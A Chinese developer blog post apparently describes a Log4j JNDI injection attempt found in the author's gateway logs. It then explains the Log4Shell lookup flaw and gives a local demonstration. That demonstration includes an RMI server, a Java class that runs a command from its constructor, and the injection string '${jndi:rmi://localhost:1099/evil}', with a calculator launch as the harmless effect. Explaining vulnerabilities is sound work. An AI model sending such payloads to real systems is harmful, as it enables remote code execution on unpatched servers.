记录一次针对log4j的jndi注入攻击

事件经过

今天一到公司就被钉钉监控报警群@了,报错类型如下图所示:

image-20211216143522987

com.mysql.jdbc.MysqlDataTruncation:Data truncation:Data too long for column这个错误很常见,就是插入数据到数据库中,字段长度超过了数据库限制的长度。

于是我就去skywalking上找日志,看到底是什么参数超过了长度限制,于是我找到了报错的链路看到了网关打印的日志信息如下:

image-20211216144627034

重点看我红线框出的部分,这一看就不是一个正常的传参,看起来像是某种攻击。

由此让我联想到,前几天log4j爆出的漏洞,于是我上网查了下,确实log4j这次的漏洞就是通过jndi进行攻击的。

image-20211216145205003

但是,我们公司用户日志组件并不是log4j,而是logback,所以这次攻击对我们服务没有造成实际影响。感觉是逃过了一劫,但是也暴露出我们公司的安全意识很差。

log4j漏洞

既然都攻击到家门口了,肯定有必要了解下log4j的这次攻击原理。

log4j的这个漏洞主要是因为lookup的机制,允许日志中通过${}的方式进行属性注入。jndi估计很多人没用过,也不大了解,下面是我从维基百科找到的定义:

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

img

简单的理解,jndi是一个名字服务器,可以通过名字来访问对象。jndi下面又有很多SPI的实现,比如LDAP、RMI等。问题主要就在RMI这里,RMI是远程服务调用,jndi可以通过url加载远程class文件的方式执行服务。

比如我们让RMI客户端去访问jndi:rmi://localhost:1099/evil,它就会去本地1099端口服务获取名字为evil的对象,获取到对象内容,然后初始化对象。初始化对象会执行对象里面的构造方法,static方法等,如果这里面有一些恶意代码,就能轻易的攻击你的系统。

当我们使用log4j去打印日志的时候,log4j在遇到${}这种符号时,就会去lookup里面的内容。

log4j漏洞演示

下面我们来一个简单的示例,演示一下这个bug。

我们通过执行远程代码打开本机的计算器为例。首先,我们需要写一个RMI的服务端:

public class RmiServer {
    public static void main(String[] args) throws Exception {
        Reference reference = new Reference("com.haoyanbing.bug.log4j.hack.HackCommand", "com.haoyanbing.bug.log4j.hack.HackCommand", "http://localhost:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        LocateRegistry.createRegistry(1099).bind("evil", referenceWrapper);
    }
}

我们的攻击类:

package com.haoyanbing.bug.log4j.hack;

public class HackCommand {
    public HackCommand() throws IOException {
        Runtime rt = Runtime.getRuntime();
        String property = System.getProperty("os.name");
        if ("Mac OS X".equals(property)) {
            String[] commands = {"/bin/sh", "-c", "open /System/Applications/Calculator.app"};
            rt.exec(commands);
        } else {
            rt.exec("cmd  /c calc");
        }
    }
}

然后将服务端启动,再写一个测试类,去测试一下

public class Log4jTest {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String input = "${jndi:rmi://localhost:1099/evil}";
        logger.error("log:{}", input);
    }
}

果然,我本地的计算器程序被打开了:

image-20211216151100149

总结

log4j前几天爆出这个漏洞的时候,我们公司好像没怎么care这个事。这次只能说是我们走运,正好我们用的不是log4j,用的是logback,虽然这次攻击没有给我们系统造成实际的影响,但是给我们提了个醒,系统安全还是很重要的,针对社区爆出的漏洞,要及时关注。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值